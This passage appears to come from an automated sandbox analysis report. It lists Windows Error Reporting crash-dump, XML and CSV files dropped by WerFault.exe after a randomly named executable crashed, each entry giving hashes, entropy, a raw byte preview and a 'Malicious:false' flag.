                                                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.8.9.0.4.9.6.8.8.2.7.7.9.8.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.8.9.0.4.9.7.0.5.4.6.5.4.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.d.0.f.9.2.8.-.e.e.1.4.-.4.2.5.0.-.a.9.2.c.-.2.d.4.c.e.3.7.a.e.c.b.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.d.6.6.b.a.a.2.-.3.6.5.3.-.4.7.a.6.-.b.9.8.c.-.d.3.c.b.2.9.a.4.b.6.0.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.O.z.T.Q.C.D.S.V.N.r.W.D.m.u.G.q.z.F.b.K.R.b.Z.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.4.-.0.0.0.1.-.0.0.1.4.-.0.e.a.a.-.9.6.6.2.7.b.f.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.f.8.f.9.6.4.8.2.e.2.e.a.d.a.9.c.2.a.f.8.7.9.e.2.b.7.f.8.6.9.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.o.O.z.T.Q.C.D.S.V.N.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE33.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Fri Aug 23 16:42:47 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):241546
                                                                                                                                                                                                          Entropy (8bit):1.5884082098060772
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:rY23Os3zjmMnXC6rdeutQmFlonF8oKrOZP:B3IB6Beh2RrO5
                                                                                                                                                                                                          MD5:732BEF9CE57B50891490DD320735B168
                                                                                                                                                                                                          SHA1:3545B9E742BE8E4C1F0FF876E466068C18CC1113
                                                                                                                                                                                                          SHA-256:A8E5A886DAD6DDDB4F9DFD80B11A97D3E48DDF0FFE4BFA288023B7DDFAAA2173
                                                                                                                                                                                                          SHA-512:F5B7EA727DE6C1A2C3FC54089BE32859342C8EB86D722729316106B98F3637FBD1DDD633A15067C7129F8E2A6CB3E0390FB5E3A25F2FCC35E2A7DB2C81AC4892
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... ..........f........................T...............8z..........T.......8...........T...........PQ..:^..........@%..........,'..............................................................................eJ.......'......GenuineIntel............T.............f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF9B.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Fri Aug 23 16:42:47 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):114954
                                                                                                                                                                                                          Entropy (8bit):1.7053526766796658
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:KhO7tPVesNWu5w6hZpxTo1To0lRhah6+JzYKJGt31nVZ0:gcttesNWu5LhZpxeoQ+9YK+NT
                                                                                                                                                                                                          MD5:D77049731F7A9AF6C71B61861949ADA8
                                                                                                                                                                                                          SHA1:2AFAAE5D7BB93462E046F76107B10F69C7F53767
                                                                                                                                                                                                          SHA-256:18A5EBA66CF3C4345696E9F9F9F23B5289333489D79D7A6747B90AA53572518D
                                                                                                                                                                                                          SHA-512:6EFD93FB32F3D536450FD7D6ADBD5DD900C3B180E6034DA9A7B6637DB6736361733DCFDFF1D2DA625AEF97E956E5ED078735C7AD687BF8920E39053D2420D7A4
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... ..........f............D...........D...L.......D....J..........T.......8...........T............'..".......................|...............................................................................eJ....... ......GenuineIntel............T.......@.....f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD028.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8424
                                                                                                                                                                                                          Entropy (8bit):3.713610795871834
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJB16XTe6YEIwSUhJgmfxWprT89bVgsfN6Hm:R6lXJD6a6YE/SUhJgmfxvVzfJ
                                                                                                                                                                                                          MD5:729E16DC87AC6A477CC74CD45E111BC9
                                                                                                                                                                                                          SHA1:8826186F944ABF76065D4A7C70029C5A916F4274
                                                                                                                                                                                                          SHA-256:700297EFB090BCF540F5BD7CCB943D4453B1101C480D761C33EC8E1E8D522B96
                                                                                                                                                                                                          SHA-512:6E3A6F8F8CAFA7D40EEE84AA73F097D361E00EBE980649EAAB08588D5DF77B620626328CA3E538FF0A9B4EDDCDA2CF73501D38753F9CA8643532F8DB6D1983B4
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.2.6.8.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD058.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4694
                                                                                                                                                                                                          Entropy (8bit):4.582832778558491
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs5Jg77aI9orWpW8VYeIYm8M4JogFS+q8f/WRogM2id:uIjfLI7Ga7VbJeiWRoR2id
                                                                                                                                                                                                          MD5:22DE2830AC261A192DDACD0D92B7F39F
                                                                                                                                                                                                          SHA1:6CA9FDDE696342BC06BAFEBE79255C2ECA7CAFF6
                                                                                                                                                                                                          SHA-256:068C06C112A6979A710AA367FF49263701E798B1CEFF6AD63418449BCD67A88D
                                                                                                                                                                                                          SHA-512:8A8B1D533941A8393F6B4C7414D1F7A9E82F25AAE589B8AA35778CC4AE19293CDB656EE7484A44ECF87013EFB0F98A9DEC2C7A41F00A62ED6E35EE57DBD9744F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="468465" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD066.tmp.csv

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):85160
                                                                                                                                                                                                          Entropy (8bit):3.1080493549900257
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:hBnxIOqiz7odeRHSvFCWl23djuGT0FFp17n4vr2FYRQfllm92SV7X:XneOxn4eRHrWl3k0FFp1mrpQzSVL
                                                                                                                                                                                                          MD5:FE25D348CD2731BF253CF53780203559
                                                                                                                                                                                                          SHA1:5090309742390EBA54E4E57CA0AE948EFE10E7B9
                                                                                                                                                                                                          SHA-256:DAA7289660BC66247EB34E7E8CC56B31D1BC118DA62D24E5825A1D1456B3D666
                                                                                                                                                                                                          SHA-512:D7E134D9D48E5809597A6F60827258B4BEF9AB2DD73D4472D434AE2009ACF1A20CF4CC6BF87F21F84835341C05E363AFB7C0780A08521F4FBCE49A1113303DB7
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD067.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8416
                                                                                                                                                                                                          Entropy (8bit):3.713068816530731
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJQpL56A6YEIoSUhJgmfxWprw89bV+sf0gHm:R6lXJQF56A6YEnSUhJgmfx+V9f0
                                                                                                                                                                                                          MD5:F693A65681005566F950FB941022ED91
                                                                                                                                                                                                          SHA1:DB61AA7118CCBB3FD581D3E9B89A966152EA63F1
                                                                                                                                                                                                          SHA-256:5F23774FA3678AFD1E9C22ABA6011935246E06C5EC8A37A6A75EFE3C8ED5A228
                                                                                                                                                                                                          SHA-512:F8CFC24274E1A02022A07E47DDAAD056AC04D1C389A01C574ADDDCB68A5839CEDC5FD52E081A086470AB390B23219744446A4AF31ABD414665B9E6C72192C68D
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.6.7.2.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD0C6.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4694
                                                                                                                                                                                                          Entropy (8bit):4.582445905029007
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs5Jg77aI9orWpW8VYegPYm8M4JogFel8+q8flRogM2Td:uIjfLI7Ga7VOSJs8wRoR2Td
                                                                                                                                                                                                          MD5:846011C1EED8715FF99D29A805A05411
                                                                                                                                                                                                          SHA1:9D91CAC4015C90791A1AF09DECE3E90E02AC4159
                                                                                                                                                                                                          SHA-256:BE0B83F251461BC68F8A7B795D93848652EF890087B271AAEAEFBFF77D4B61B5
                                                                                                                                                                                                          SHA-512:2AACA7352AD5FABB66AF1DCCB277A2978E2ACE96A4F9EF9740A32D320D54DABA1B8EA88DCD1BE3EE1B42EA0A49756209B3A6CCDA8D77876AF86D11006F37BFAF
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="468465" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD0E4.tmp.csv

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):85174
                                                                                                                                                                                                          Entropy (8bit):3.108147589138074
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:ycDXI5qiz7odeRHSvFCWl23djuGT0FFp17n4vr2FYRQfllm9S1d:fD45xn4eRHrWl3k0FFp1mrpQn1d
                                                                                                                                                                                                          MD5:F16CB993CA7D3B531ACF596998F14199
                                                                                                                                                                                                          SHA1:F7C4FF124181D373B7FD60CDEDAA20CEF9B8B593
                                                                                                                                                                                                          SHA-256:B8807ADF69C237449A95A3AFA9BEEB9022BD818910B7DF48742ABFFCC785D96F
                                                                                                                                                                                                          SHA-512:F75848E124D3A72A65DBFDEA7F0B235032931FF70D6C865F48145932E69D6D981780DC1EDABD05D8E08EB87534C97673A346F32F181BC2A11D7B41200A2AB781
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD143.tmp.txt

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):13340
                                                                                                                                                                                                          Entropy (8bit):2.684653686857144
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:TiZYWfDLAfCIYSYrWyHS7YEZcptFig3lXxlwaRKYaY5KM7fEIZj3:2ZDfVI1oDl8YaY5KM7fzZj3
                                                                                                                                                                                                          MD5:8FF57EEF08161E8D5EE7394016BF62DB
                                                                                                                                                                                                          SHA1:1E35057B7DC71324EFC80C9A25D3548DDBC95841
                                                                                                                                                                                                          SHA-256:46F2F337AEE020B61F1D1641837DF627F9A19241C867C02426676857ED4171AB
                                                                                                                                                                                                          SHA-512:8FB2E4EF488D04C37A28A503D61A7E6FE2412CE13FEF123E4A4711B3878FFC58E51D890C96AA6CE1E2464DE334F62BAC4BEEFBAA1763B6CC9F704D29D438F313
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1D0.tmp.txt

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):13340
                                                                                                                                                                                                          Entropy (8bit):2.683672338612151
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:TiZYWywY7KCNuYcYFzWrHScYEZ7XtFi53qXaA5wjjgaL5ZMcf/Ikj3:2ZDWFNurIooAY8aL5ZMcfQkj3
                                                                                                                                                                                                          MD5:70E34D3F412A4120C1D712C3BC54825A
                                                                                                                                                                                                          SHA1:7DFC4D8A02076DF4969C5C09D0C6ACEC996FA587
                                                                                                                                                                                                          SHA-256:A502B4AEB7FF2B78ADBACCE4AF709BA35D17892FFEB9FBD75F0A23A72A508D3E
                                                                                                                                                                                                          SHA-512:7B873EB05E9AAC0D85A7C23C3E3DA5AAF63B2B7383A18C6F8B8D1C718DE34E660888911FA698E752D9E2220A1AB3443C58E1CF222ADA6A9EF09BF99F5C23BE72
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD586.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Fri Aug 23 16:42:49 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):254182
                                                                                                                                                                                                          Entropy (8bit):1.7535079396359232
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:768:uKCjTLYs3kHgEVyAD2/4cEFJC60Ex9G7KwHH:uKWTEAzADvc+JKEx9G7KwH
                                                                                                                                                                                                          MD5:8BBA618CB2771E2FFCA85443787BF9EC
                                                                                                                                                                                                          SHA1:F63A80DB3FEFAF834445291346B453ECA7AF2936
                                                                                                                                                                                                          SHA-256:FE9F32651EC42EB546A7DB138DAC6FDB1419D83E8564C045408FB0CD9EC3C852
                                                                                                                                                                                                          SHA-512:5533A8E00BEA0BA1FF6E585D40ABEC888C5747A2D4CEF0688E8DE50124F87BD25E5AEBF50B07D6DC123FDDF3BD09190467CB3B4DCE2D717B48DCA6A8E4BC5651
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... ..........f........................|...............,y..........T.......8...........T............K..6...........h$..........T&..............................................................................eJ.......&......GenuineIntel............T.......D.....f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9BD.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8424
